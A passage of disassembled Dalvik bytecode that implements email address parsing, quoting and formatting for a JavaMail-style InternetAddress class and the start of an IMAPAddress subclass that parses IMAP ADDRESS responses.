0000020E  goto/16                 :CA
:212
00000212  new-instance            v0, AddressException
00000216  const-string            v2, "Missing \'<\'"
0000021A  invoke-direct           AddressException-><init>(String, String, I)V, v0, v2, p0, v1
00000220  throw                   v0
:222
00000222  const/4                 v5, 0x1
00000224  const/4                 v8, 0xFFFFFFFFFFFFFFFF
00000226  if-ne                   v4, v8, :22C
:22A
0000022A  move                    v4, v1
:22C
0000022C  add-int/lit8            v1, v1, 0x1
:230
00000230  if-lt                   v1, v9, :248
:234
00000234  if-lt                   v1, v9, :48E
:238
00000238  new-instance            v0, AddressException
0000023C  const-string            v2, "Missing \'\"\'"
00000240  invoke-direct           AddressException-><init>(String, String, I)V, v0, v2, p0, v1
00000246  throw                   v0
:248
00000248  invoke-virtual          String->charAt(I)C, p0, v1
0000024E  move-result             v8
00000250  sparse-switch           v8, :570
:256
00000256  add-int/lit8            v1, v1, 0x1
0000025A  goto                    :230
:25C
0000025C  add-int/lit8            v1, v1, 0x1
00000260  goto                    :256
:262
00000262  const/4                 v5, 0x1
00000264  add-int/lit8            v1, v1, 0x1
:268
00000268  if-lt                   v1, v9, :280
:26C
0000026C  if-lt                   v1, v9, :48E
:270
00000270  new-instance            v0, AddressException
00000274  const-string            v2, "Missing \']\'"
00000278  invoke-direct           AddressException-><init>(String, String, I)V, v0, v2, p0, v1
0000027E  throw                   v0
:280
00000280  invoke-virtual          String->charAt(I)C, p0, v1
00000286  move-result             v8
00000288  packed-switch           v8, :584
:28E
0000028E  add-int/lit8            v1, v1, 0x1
00000292  goto                    :268
:294
00000294  add-int/lit8            v1, v1, 0x1
00000298  goto                    :28E
:29A
0000029A  const/4                 v8, 0xFFFFFFFFFFFFFFFF
0000029C  if-ne                   v4, v8, :2BA
:2A0
000002A0  const/4                 v4, 0x0
000002A2  const/4                 v2, 0x0
000002A4  const/4                 v5, 0xFFFFFFFFFFFFFFFF
000002A6  move                    v6, v5
000002A8  move                    v12, v4
000002AA  move                    v4, v0
000002AC  move                    v0, v2
000002AE  move                    v2, v7
000002B0  move                    v7, v5
000002B2  move                    v5, v1
000002B4  move                    v1, v12
000002B6  goto/16                 :CA
:2BA
000002BA  if-eqz                  v7, :2D4
:2BE
000002BE  const/4                 v6, 0x0
000002C0  move                    v12, v5
000002C2  move                    v5, v1
000002C4  move                    v1, v6
000002C6  move                    v6, v2
000002C8  move                    v2, v7
000002CA  move                    v7, v4
000002CC  move                    v4, v0
000002CE  move                    v0, v12
000002D0  goto/16                 :CA
:2D4
000002D4  const/4                 v8, 0xFFFFFFFFFFFFFFFF
000002D6  if-ne                   v2, v8, :2DC
:2DA
000002DA  move                    v2, v1
:2DC
000002DC  invoke-virtual          String->substring(I, I)String, p0, v4, v2
000002E2  move-result-object      v2
000002E4  invoke-virtual          String->trim()String, v2
000002EA  move-result-object      v2
000002EC  if-nez                  v5, :2F8
:2F0
000002F0  if-nez                  p1, :2F8
:2F4
000002F4  if-eqz                  p2, :35C
:2F8
000002F8  if-nez                  p1, :300
:2FC
000002FC  if-nez                  p2, :308
:300
00000300  const/4                 v4, 0x0
00000302  invoke-static           InternetAddress->checkAddress(String, Z, Z)V, v2, v6, v4
:308
00000308  new-instance            v4, InternetAddress
0000030C  invoke-direct           InternetAddress-><init>()V, v4
00000312  invoke-virtual          InternetAddress->setAddress(String)V, v4, v2
00000318  if-ltz                  v0, :33C
:31C
0000031C  invoke-virtual          String->substring(I, I)String, p0, v0, v3
00000322  move-result-object      v0
00000324  invoke-virtual          String->trim()String, v0
0000032A  move-result-object      v0
0000032C  invoke-static           InternetAddress->unquote(String)String, v0
00000332  move-result-object      v0
00000334  iput-object             v0, v4, InternetAddress->encodedPersonal:String
00000338  const/4                 v3, 0xFFFFFFFFFFFFFFFF
0000033A  move                    v0, v3
:33C
0000033C  invoke-virtual          Vector->addElement(Object)V, v10, v4
:342
00000342  const/4                 v4, 0x0
00000344  const/4                 v2, 0x0
00000346  const/4                 v5, 0xFFFFFFFFFFFFFFFF
00000348  move                    v6, v5
0000034A  move                    v12, v4
0000034C  move                    v4, v0
0000034E  move                    v0, v2
00000350  move                    v2, v7
00000352  move                    v7, v5
00000354  move                    v5, v1
00000356  move                    v1, v12
00000358  goto/16                 :CA
:35C
0000035C  new-instance            v4, StringTokenizer
00000360  invoke-direct           StringTokenizer-><init>(String)V, v4, v2
:366
00000366  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v4
0000036C  move-result             v2
0000036E  if-eqz                  v2, :342
:372
00000372  invoke-virtual          StringTokenizer->nextToken()String, v4
00000378  move-result-object      v2
0000037A  const/4                 v5, 0x0
0000037C  const/4                 v6, 0x0
0000037E  invoke-static           InternetAddress->checkAddress(String, Z, Z)V, v2, v5, v6
00000384  new-instance            v5, InternetAddress
00000388  invoke-direct           InternetAddress-><init>()V, v5
0000038E  invoke-virtual          InternetAddress->setAddress(String)V, v5, v2
00000394  invoke-virtual          Vector->addElement(Object)V, v10, v5
0000039A  goto                    :366
:39C
0000039C  const/4                 v5, 0x1
0000039E  if-eqz                  v7, :3B2
:3A2
000003A2  new-instance            v0, AddressException
000003A6  const-string            v2, "Nested group"
000003AA  invoke-direct           AddressException-><init>(String, String, I)V, v0, v2, p0, v1
000003B0  throw                   v0
:3B2
000003B2  const/4                 v7, 0x1
000003B4  const/4                 v8, 0xFFFFFFFFFFFFFFFF
000003B6  if-ne                   v4, v8, :48E
:3BA
000003BA  move                    v4, v0
000003BC  move                    v0, v5
000003BE  move                    v5, v1
000003C0  move                    v12, v6
000003C2  move                    v6, v2
000003C4  move                    v2, v7
000003C6  move                    v7, v1
000003C8  move                    v1, v12
000003CA  goto/16                 :CA
:3CE
000003CE  const/4                 v2, 0xFFFFFFFFFFFFFFFF
000003D0  if-ne                   v4, v2, :4A2
:3D4
000003D4  move                    v2, v1
:3D6
000003D6  if-nez                  v7, :3EA
:3DA
000003DA  new-instance            v0, AddressException
000003DE  const-string            v2, "Illegal semicolon, not in group"
000003E2  invoke-direct           AddressException-><init>(String, String, I)V, v0, v2, p0, v1
000003E8  throw                   v0
:3EA
000003EA  const/4                 v4, 0x0
000003EC  const/4                 v6, 0xFFFFFFFFFFFFFFFF
000003EE  if-ne                   v2, v6, :3F4
:3F2
000003F2  move                    v2, v1
:3F4
000003F4  new-instance            v6, InternetAddress
000003F8  invoke-direct           InternetAddress-><init>()V, v6
000003FE  add-int/lit8            v7, v1, 0x1
00000402  invoke-virtual          String->substring(I, I)String, p0, v2, v7
00000408  move-result-object      v2
0000040A  invoke-virtual          String->trim()String, v2
00000410  move-result-object      v2
00000412  invoke-virtual          InternetAddress->setAddress(String)V, v6, v2
00000418  invoke-virtual          Vector->addElement(Object)V, v10, v6
0000041E  const/4                 v2, 0x0
00000420  const/4                 v6, 0xFFFFFFFFFFFFFFFF
00000422  move                    v7, v6
00000424  move                    v12, v2
00000426  move                    v2, v4
00000428  move                    v4, v0
0000042A  move                    v0, v5
0000042C  move                    v5, v1
0000042E  move                    v1, v12
00000430  goto/16                 :CA
:434
00000434  move                    v12, v5
00000436  move                    v5, v1
00000438  move                    v1, v6
0000043A  move                    v6, v2
0000043C  move                    v2, v7
0000043E  move                    v7, v4
00000440  move                    v4, v0
00000442  move                    v0, v12
00000444  goto/16                 :CA
:448
00000448  new-instance            v0, StringTokenizer
0000044C  invoke-direct           StringTokenizer-><init>(String)V, v0, v1
:452
00000452  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v0
00000458  move-result             v1
0000045A  if-eqz                  v1, :92
:45E
0000045E  invoke-virtual          StringTokenizer->nextToken()String, v0
00000464  move-result-object      v1
00000466  const/4                 v2, 0x0
00000468  const/4                 v3, 0x0
0000046A  invoke-static           InternetAddress->checkAddress(String, Z, Z)V, v1, v2, v3
00000470  new-instance            v2, InternetAddress
00000474  invoke-direct           InternetAddress-><init>()V, v2
0000047A  invoke-virtual          InternetAddress->setAddress(String)V, v2, v1
00000480  invoke-virtual          Vector->addElement(Object)V, v10, v2
00000486  goto                    :452
:488
00000488  move                    v1, v2
0000048A  goto/16                 :30
:48E
0000048E  move                    v12, v5
00000490  move                    v5, v1
00000492  move                    v1, v6
00000494  move                    v6, v2
00000496  move                    v2, v7
00000498  move                    v7, v4
0000049A  move                    v4, v0
0000049C  move                    v0, v12
0000049E  goto/16                 :CA
:4A2
000004A2  move                    v2, v4
000004A4  goto                    :3D6
:4A6
000004A6  move                    v0, v3
000004A8  goto/16                 :18C
:4AC
000004AC  move                    v2, v0
000004AE  move                    v0, v3
000004B0  goto/16                 :196
:4B4
000004B4  move                    v2, v7
000004B6  move                    v7, v4
000004B8  move                    v4, v0
000004BA  move                    v0, v5
000004BC  move                    v5, v1
000004BE  move                    v1, v6
000004C0  move                    v6, v8
000004C2  goto/16                 :CA
:4C6
000004C6  move                    v8, v2
000004C8  goto/16                 :EE
000004CC  .sparse-switch
              0x9 -> :434
              0xA -> :434
              0xD -> :434
              0x20 -> :434
              0x22 -> :222
              0x28 -> :E0
              0x29 -> :15C
              0x2C -> :29A
              0x3A -> :39C
              0x3B -> :3CE
              0x3C -> :16C
              0x3E -> :212
              0x5B -> :262
          .end sparse-switch
00000538  .sparse-switch
              0x28 -> :134
              0x29 -> :13A
              0x5C -> :12E
          .end sparse-switch
00000554  .sparse-switch
              0x22 -> :1D8
              0x3E -> :1E4
              0x5C -> :1D2
          .end sparse-switch
00000570  .sparse-switch
              0x22 -> :234
              0x5C -> :25C
          .end sparse-switch
00000584  .packed-switch 0x5C
              :294
              :26C
          .end packed-switch
.end method

.method public static parseHeader(String, Z)[InternetAddress
          .registers 3
00000000  const/4                 v0, 0x1
00000002  invoke-static           InternetAddress->parse(String, Z, Z)[InternetAddress, p0, p1, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method private static quotePhrase(String)String
          .registers 9
00000000  const/16                v7, 0x5C
00000004  const/4                 v1, 0x0
00000006  const/16                v6, 0x22
0000000A  invoke-virtual          String->length()I, p0
00000010  move-result             v3
00000012  move                    v2, v1
00000014  move                    v0, v1
:16
00000016  if-lt                   v2, v3, :4C
:1A
0000001A  if-eqz                  v0, :4A
:1E
0000001E  new-instance            v0, StringBuffer
00000022  add-int/lit8            v1, v3, 0x2
00000026  invoke-direct           StringBuffer-><init>(I)V, v0, v1
0000002C  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v6
00000032  move-result-object      v1
00000034  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, p0
0000003A  move-result-object      v1
0000003C  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v6
00000042  invoke-virtual          StringBuffer->toString()String, v0
00000048  move-result-object      p0
:4A
0000004A  return-object           p0
:4C
0000004C  invoke-virtual          String->charAt(I)C, p0, v2
00000052  move-result             v4
00000054  if-eq                   v4, v6, :5C
:58
00000058  if-ne                   v4, v7, :A8
:5C
0000005C  new-instance            v2, StringBuffer
00000060  add-int/lit8            v0, v3, 0x3
00000064  invoke-direct           StringBuffer-><init>(I)V, v2, v0
0000006A  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v6
00000070  move                    v0, v1
:72
00000072  if-lt                   v0, v3, :86
:76
00000076  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v6
0000007C  invoke-virtual          StringBuffer->toString()String, v2
00000082  move-result-object      p0
00000084  goto                    :4A
:86
00000086  invoke-virtual          String->charAt(I)C, p0, v0
0000008C  move-result             v1
0000008E  if-eq                   v1, v6, :96
:92
00000092  if-ne                   v1, v7, :9C
:96
00000096  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v7
:9C
0000009C  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v1
000000A2  add-int/lit8            v0, v0, 0x1
000000A6  goto                    :72
:A8
000000A8  const/16                v5, 0x20
000000AC  if-ge                   v4, v5, :C8
:B0
000000B0  const/16                v5, 0xD
000000B4  if-eq                   v4, v5, :C8
:B8
000000B8  const/16                v5, 0xA
000000BC  if-eq                   v4, v5, :C8
:C0
000000C0  const/16                v5, 0x9
000000C4  if-ne                   v4, v5, :E0
:C8
000000C8  const/16                v5, 0x7F
000000CC  if-ge                   v4, v5, :E0
:D0
000000D0  sget-object             v5, InternetAddress->rfc822phrase:String
000000D4  invoke-virtual          String->indexOf(I)I, v5, v4
000000DA  move-result             v4
000000DC  if-ltz                  v4, :E2
:E0
000000E0  const/4                 v0, 0x1
:E2
000000E2  add-int/lit8            v2, v2, 0x1
000000E6  goto                    :16
.end method

.method public static toString([Address)String
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-static           InternetAddress->toString([Address, I)String, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public static toString([Address, I)String
          .registers 7
00000000  if-eqz                  p0, :A
:4
00000004  array-length            v0, p0
00000006  if-nez                  v0, :E
:A
0000000A  const/4                 v0, 0x0
:C
0000000C  return-object           v0
:E
0000000E  new-instance            v1, StringBuffer
00000012  invoke-direct           StringBuffer-><init>()V, v1
00000018  const/4                 v0, 0x0
:1A
0000001A  array-length            v2, p0
0000001C  if-lt                   v0, v2, :2A
:20
00000020  invoke-virtual          StringBuffer->toString()String, v1
00000026  move-result-object      v0
00000028  goto                    :C
:2A
0000002A  if-eqz                  v0, :3C
:2E
0000002E  const-string            v2, ", "
00000032  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
00000038  add-int/lit8            p1, p1, 0x2
:3C
0000003C  aget-object             v2, p0, v0
00000040  invoke-virtual          Address->toString()String, v2
00000046  move-result-object      v2
00000048  invoke-static           InternetAddress->lengthOfFirstSegment(String)I, v2
0000004E  move-result             v3
00000050  add-int/2addr           v3, p1
00000052  const/16                v4, 0x4C
00000056  if-le                   v3, v4, :68
:5A
0000005A  const-string            v3, "\r\n\t"
0000005E  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v3
00000064  const/16                p1, 0x8
:68
00000068  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v2
0000006E  invoke-static           InternetAddress->lengthOfLastSegment(String, I)I, v2, p1
00000074  move-result             p1
00000076  add-int/lit8            v0, v0, 0x1
0000007A  goto                    :1A
.end method

.method private static unquote(String)String
          .registers 7
00000000  const/16                v4, 0x5C
00000004  const-string            v0, "\""
00000008  invoke-virtual          String->startsWith(String)Z, p0, v0
0000000E  move-result             v0
00000010  if-eqz                  v0, :6E
:14
00000014  const-string            v0, "\""
00000018  invoke-virtual          String->endsWith(String)Z, p0, v0
0000001E  move-result             v0
00000020  if-eqz                  v0, :6E
:24
00000024  const/4                 v0, 0x1
00000026  invoke-virtual          String->length()I, p0
0000002C  move-result             v1
0000002E  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000032  invoke-virtual          String->substring(I, I)String, p0, v0, v1
00000038  move-result-object      p0
0000003A  invoke-virtual          String->indexOf(I)I, p0, v4
00000040  move-result             v0
00000042  if-ltz                  v0, :6E
:46
00000046  new-instance            v2, StringBuffer
0000004A  invoke-virtual          String->length()I, p0
00000050  move-result             v0
00000052  invoke-direct           StringBuffer-><init>(I)V, v2, v0
00000058  const/4                 v0, 0x0
:5A
0000005A  invoke-virtual          String->length()I, p0
00000060  move-result             v1
00000062  if-lt                   v0, v1, :70
:66
00000066  invoke-virtual          StringBuffer->toString()String, v2
0000006C  move-result-object      p0
:6E
0000006E  return-object           p0
:70
00000070  invoke-virtual          String->charAt(I)C, p0, v0
00000076  move-result             v1
00000078  if-ne                   v1, v4, :A4
:7C
0000007C  invoke-virtual          String->length()I, p0
00000082  move-result             v3
00000084  add-int/lit8            v3, v3, 0xFFFFFFFFFFFFFFFF
00000088  if-ge                   v0, v3, :A4
:8C
0000008C  add-int/lit8            v1, v0, 0x1
00000090  invoke-virtual          String->charAt(I)C, p0, v1
00000096  move-result             v0
:98
00000098  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v0
0000009E  add-int/lit8            v0, v1, 0x1
000000A2  goto                    :5A
:A4
000000A4  move                    v5, v1
000000A6  move                    v1, v0
000000A8  move                    v0, v5
000000AA  goto                    :98
.end method

.method public clone()Object
          .registers 3
00000000  const/4                 v1, 0x0
:2
00000002  invoke-super            Object->clone()Object, p0
00000008  move-result-object      v0
0000000A  check-cast              v0, InternetAddress
:E
0000000E  return-object           v0
:10
00000010  move-exception          v0
00000012  move-object             v0, v1
00000014  goto                    :E
          .catch CloneNotSupportedException {:2 .. :E} :10
.end method

.method public equals(Object)Z
          .registers 6
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  instance-of             v2, p1, InternetAddress
00000008  if-nez                  v2, :E
:C
0000000C  return                  v0
:E
0000000E  check-cast              p1, InternetAddress
00000012  invoke-virtual          InternetAddress->getAddress()String, p1
00000018  move-result-object      v2
0000001A  iget-object             v3, p0, InternetAddress->address:String
0000001E  if-ne                   v2, v3, :26
:22
00000022  move                    v0, v1
00000024  goto                    :C
:26
00000026  iget-object             v3, p0, InternetAddress->address:String
0000002A  if-eqz                  v3, :C
:2E
0000002E  iget-object             v3, p0, InternetAddress->address:String
00000032  invoke-virtual          String->equalsIgnoreCase(String)Z, v3, v2
00000038  move-result             v2
0000003A  if-eqz                  v2, :C
:3E
0000003E  move                    v0, v1
00000040  goto                    :C
.end method

.method public getAddress()String
          .registers 2
00000000  iget-object             v0, p0, InternetAddress->address:String
00000004  return-object           v0
.end method

.method public getGroup(Z)[InternetAddress
          .registers 5
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          InternetAddress->getAddress()String, p0
00000008  move-result-object      v1
0000000A  const-string            v2, ";"
0000000E  invoke-virtual          String->endsWith(String)Z, v1, v2
00000014  move-result             v2
00000016  if-nez                  v2, :1C
:1A
0000001A  return-object           v0
:1C
0000001C  const/16                v2, 0x3A
00000020  invoke-virtual          String->indexOf(I)I, v1, v2
00000026  move-result             v2
00000028  if-ltz                  v2, :1A
:2C
0000002C  add-int/lit8            v0, v2, 0x1
00000030  invoke-virtual          String->length()I, v1
00000036  move-result             v2
00000038  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
0000003C  invoke-virtual          String->substring(I, I)String, v1, v0, v2
00000042  move-result-object      v0
00000044  invoke-static           InternetAddress->parseHeader(String, Z)[InternetAddress, v0, p1
0000004A  move-result-object      v0
0000004C  goto                    :1A
.end method

.method public getPersonal()String
          .registers 2
00000000  iget-object             v0, p0, InternetAddress->personal:String
00000004  if-eqz                  v0, :E
:8
00000008  iget-object             v0, p0, InternetAddress->personal:String
:C
0000000C  return-object           v0
:E
0000000E  iget-object             v0, p0, InternetAddress->encodedPersonal:String
00000012  if-eqz                  v0, :34
:16
00000016  iget-object             v0, p0, InternetAddress->encodedPersonal:String
0000001A  invoke-static           MimeUtility->decodeText(String)String, v0
00000020  move-result-object      v0
00000022  iput-object             v0, p0, InternetAddress->personal:String
00000026  iget-object             v0, p0, InternetAddress->personal:String
:2A
0000002A  goto                    :C
:2C
0000002C  move-exception          v0
0000002E  iget-object             v0, p0, InternetAddress->encodedPersonal:String
00000032  goto                    :C
:34
00000034  const/4                 v0, 0x0
00000036  goto                    :C
          .catch Exception {:16 .. :2A} :2C
.end method

.method public getType()String
          .registers 2
00000000  const-string            v0, "rfc822"
00000004  return-object           v0
.end method

.method public hashCode()I
          .registers 3
00000000  iget-object             v0, p0, InternetAddress->address:String
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return                  v0
:C
0000000C  iget-object             v0, p0, InternetAddress->address:String
00000010  sget-object             v1, Locale->ENGLISH:Locale
00000014  invoke-virtual          String->toLowerCase(Locale)String, v0, v1
0000001A  move-result-object      v0
0000001C  invoke-virtual          String->hashCode()I, v0
00000022  move-result             v0
00000024  goto                    :A
.end method

.method public isGroup()Z
          .registers 3
00000000  iget-object             v0, p0, InternetAddress->address:String
00000004  if-eqz                  v0, :34
:8
00000008  iget-object             v0, p0, InternetAddress->address:String
0000000C  const-string            v1, ";"
00000010  invoke-virtual          String->endsWith(String)Z, v0, v1
00000016  move-result             v0
00000018  if-eqz                  v0, :34
:1C
0000001C  iget-object             v0, p0, InternetAddress->address:String
00000020  const/16                v1, 0x3A
00000024  invoke-virtual          String->indexOf(I)I, v0, v1
0000002A  move-result             v0
0000002C  if-lez                  v0, :34
:30
00000030  const/4                 v0, 0x1
:32
00000032  return                  v0
:34
00000034  const/4                 v0, 0x0
00000036  goto                    :32
.end method

.method public setAddress(String)V
          .registers 2
00000000  iput-object             p1, p0, InternetAddress->address:String
00000004  return-void
.end method

.method public setPersonal(String)V
          .registers 3
00000000  iput-object             p1, p0, InternetAddress->personal:String
00000004  if-eqz                  p1, :16
:8
00000008  invoke-static           MimeUtility->encodeWord(String)String, p1
0000000E  move-result-object      v0
00000010  iput-object             v0, p0, InternetAddress->encodedPersonal:String
:14
00000014  return-void
:16
00000016  const/4                 v0, 0x0
00000018  iput-object             v0, p0, InternetAddress->encodedPersonal:String
0000001C  goto                    :14
.end method

.method public setPersonal(String, String)V
          .registers 4
00000000  const/4                 v0, 0x0
00000002  iput-object             p1, p0, InternetAddress->personal:String
00000006  if-eqz                  p1, :18
:A
0000000A  invoke-static           MimeUtility->encodeWord(String, String, String)String, p1, p2, v0
00000010  move-result-object      v0
00000012  iput-object             v0, p0, InternetAddress->encodedPersonal:String
:16
00000016  return-void
:18
00000018  iput-object             v0, p0, InternetAddress->encodedPersonal:String
0000001C  goto                    :16
.end method

.method public toString()String
          .registers 3
00000000  iget-object             v0, p0, InternetAddress->encodedPersonal:String
00000004  if-nez                  v0, :20
:8
00000008  iget-object             v0, p0, InternetAddress->personal:String
0000000C  if-eqz                  v0, :20
:10
00000010  iget-object             v0, p0, InternetAddress->personal:String
00000014  invoke-static           MimeUtility->encodeWord(String)String, v0
0000001A  move-result-object      v0
0000001C  iput-object             v0, p0, InternetAddress->encodedPersonal:String
:20
00000020  iget-object             v0, p0, InternetAddress->encodedPersonal:String
00000024  if-eqz                  v0, :74
:28
00000028  new-instance            v0, StringBuilder
0000002C  iget-object             v1, p0, InternetAddress->encodedPersonal:String
00000030  invoke-static           InternetAddress->quotePhrase(String)String, v1
00000036  move-result-object      v1
00000038  invoke-static           String->valueOf(Object)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000046  const-string            v1, " <"
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000050  move-result-object      v0
00000052  iget-object             v1, p0, InternetAddress->address:String
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000005C  move-result-object      v0
0000005E  const-string            v1, ">"
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000068  move-result-object      v0
0000006A  invoke-virtual          StringBuilder->toString()String, v0
00000070  move-result-object      v0
:72
00000072  return-object           v0
:74
00000074  invoke-virtual          InternetAddress->isGroup()Z, p0
0000007A  move-result             v0
0000007C  if-nez                  v0, :8C
:80
00000080  invoke-direct           InternetAddress->isSimple()Z, p0
00000086  move-result             v0
00000088  if-eqz                  v0, :92
:8C
0000008C  iget-object             v0, p0, InternetAddress->address:String
00000090  goto                    :72
:92
00000092  new-instance            v0, StringBuilder
00000096  const-string            v1, "<"
0000009A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000000A0  iget-object             v1, p0, InternetAddress->address:String
000000A4  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000AA  move-result-object      v0
000000AC  const-string            v1, ">"
000000B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000B6  move-result-object      v0
000000B8  invoke-virtual          StringBuilder->toString()String, v0
000000BE  move-result-object      v0
000000C0  goto                    :72
:C2
000000C2  move-exception          v0
000000C4  goto                    :20
          .catch UnsupportedEncodingException {:10 .. :20} :C2
.end method

.method public toUnicodeString()String
          .registers 3
00000000  invoke-virtual          InternetAddress->getPersonal()String, p0
00000006  move-result-object      v0
00000008  if-eqz                  v0, :54
:C
0000000C  new-instance            v1, StringBuilder
00000010  invoke-static           InternetAddress->quotePhrase(String)String, v0
00000016  move-result-object      v0
00000018  invoke-static           String->valueOf(Object)String, v0
0000001E  move-result-object      v0
00000020  invoke-direct           StringBuilder-><init>(String)V, v1, v0
00000026  const-string            v0, " <"
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
00000030  move-result-object      v0
00000032  iget-object             v1, p0, InternetAddress->address:String
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003C  move-result-object      v0
0000003E  const-string            v1, ">"
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000048  move-result-object      v0
0000004A  invoke-virtual          StringBuilder->toString()String, v0
00000050  move-result-object      v0
:52
00000052  return-object           v0
:54
00000054  invoke-virtual          InternetAddress->isGroup()Z, p0
0000005A  move-result             v0
0000005C  if-nez                  v0, :6C
:60
00000060  invoke-direct           InternetAddress->isSimple()Z, p0
00000066  move-result             v0
00000068  if-eqz                  v0, :72
:6C
0000006C  iget-object             v0, p0, InternetAddress->address:String
00000070  goto                    :52
:72
00000072  new-instance            v0, StringBuilder
00000076  const-string            v1, "<"
0000007A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000080  iget-object             v1, p0, InternetAddress->address:String
00000084  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000008A  move-result-object      v0
0000008C  const-string            v1, ">"
00000090  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000096  move-result-object      v0
00000098  invoke-virtual          StringBuilder->toString()String, v0
0000009E  move-result-object      v0
000000A0  goto                    :52
.end method

.method public validate()V
          .registers 3
00000000  const/4                 v1, 0x1
00000002  invoke-virtual          InternetAddress->getAddress()String, p0
00000008  move-result-object      v0
0000000A  invoke-static           InternetAddress->checkAddress(String, Z, Z)V, v0, v1, v1
00000010  return-void
.end method

#--------------------------------------------------------------------------------
.class IMAPAddress
.super InternetAddress
.source ""

.field private static final serialVersionUID:J = 0xCAC46C2FEF0A61C8L
.field private group:Z
.field private grouplist:[InternetAddress
.field private groupname:String

.method constructor <init>(Response)V
          .registers 7
00000000  const/16                v4, 0x29
00000004  invoke-direct           InternetAddress-><init>()V, p0
0000000A  const/4                 v0, 0x0
0000000C  iput-boolean            v0, p0, IMAPAddress->group:Z
00000010  invoke-virtual          Response->skipSpaces()V, p1
00000016  invoke-virtual          Response->readByte()B, p1
0000001C  move-result             v0
0000001E  const/16                v1, 0x28
00000022  if-eq                   v0, v1, :36
:26
00000026  new-instance            v0, ParsingException
0000002A  const-string            v1, "ADDRESS parse error"
0000002E  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000034  throw                   v0
:36
00000036  invoke-virtual          Response->readString()String, p1
0000003C  move-result-object      v0
0000003E  iput-object             v0, p0, IMAPAddress->encodedPersonal:String
00000042  invoke-virtual          Response->readString()String, p1
00000048  invoke-virtual          Response->readString()String, p1
0000004E  move-result-object      v0
00000050  invoke-virtual          Response->readString()String, p1
00000056  move-result-object      v1
00000058  invoke-virtual          Response->readByte()B, p1
0000005E  move-result             v2
00000060  if-eq                   v2, v4, :74
:64
00000064  new-instance            v0, ParsingException
00000068  const-string            v1, "ADDRESS parse error"
0000006C  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000072  throw                   v0
:74
00000074  if-nez                  v1, :136
:78
00000078  const/4                 v1, 0x1
0000007A  iput-boolean            v1, p0, IMAPAddress->group:Z
0000007E  iput-object             v0, p0, IMAPAddress->groupname:String
00000082  iget-object             v0, p0, IMAPAddress->groupname:String
00000086  if-nez                  v0, :8C
:8A
0000008A  return-void
:8C
0000008C  new-instance            v0, StringBuffer
00000090  invoke-direct           StringBuffer-><init>()V, v0
00000096  iget-object             v1, p0, IMAPAddress->groupname:String
0000009A  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
000000A0  move-result-object      v1
000000A2  const/16                v2, 0x3A
000000A6  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v2
000000AC  new-instance            v1, Vector
000000B0  invoke-direct           Vector-><init>()V, v1
:B6
000000B6  invoke-virtual          Response->peekByte()B, p1
000000BC  move-result             v2
000000BE  if-ne                   v2, v4, :F4
:C2
000000C2  const/16                v2, 0x3B
000000C6  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v2
000000CC  invoke-virtual          StringBuffer->toString()String, v0
000000D2  move-result-object      v0
000000D4  iput-object             v0, p0, IMAPAddress->address:String
000000D8  invoke-virtual          Vector->size()I, v1
000000DE  move-result             v0
000000E0  new-array               v0, v0, [IMAPAddress
000000E4  iput-object             v0, p0, IMAPAddress->grouplist:[InternetAddress
000000E8  iget-object             v0, p0, IMAPAddress->grouplist:[InternetAddress
000000EC  invoke-virtual          Vector->copyInto([Object)V, v1, v0
000000F2  goto                    :8A
:F4
000000F4  new-instance            v2, IMAPAddress
000000F8  invoke-direct           IMAPAddress-><init>(Response)V, v2, p1
000000FE  invoke-virtual          IMAPAddress->isEndOfGroup()Z, v2
00000104  move-result             v3
00000106  if-nez                  v3, :C2
:10A
0000010A  invoke-virtual          Vector->size()I, v1
00000110  move-result             v3
00000112  if-eqz                  v3, :120
:116
00000116  const/16                v3, 0x2C
0000011A  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v3
:120
00000120  invoke-virtual          IMAPAddress->toString()String, v2
00000126  move-result-object      v3
00000128  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v3
0000012E  invoke-virtual          Vector->addElement(Object)V, v1, v2
00000134  goto                    :B6
:136
00000136  if-eqz                  v0, :146
:13A
0000013A  invoke-virtual          String->length()I, v0
00000140  move-result             v2
00000142  if-nez                  v2, :14C
:146
00000146  iput-object             v1, p0, IMAPAddress->address:String
0000014A  goto                    :8A
:14C
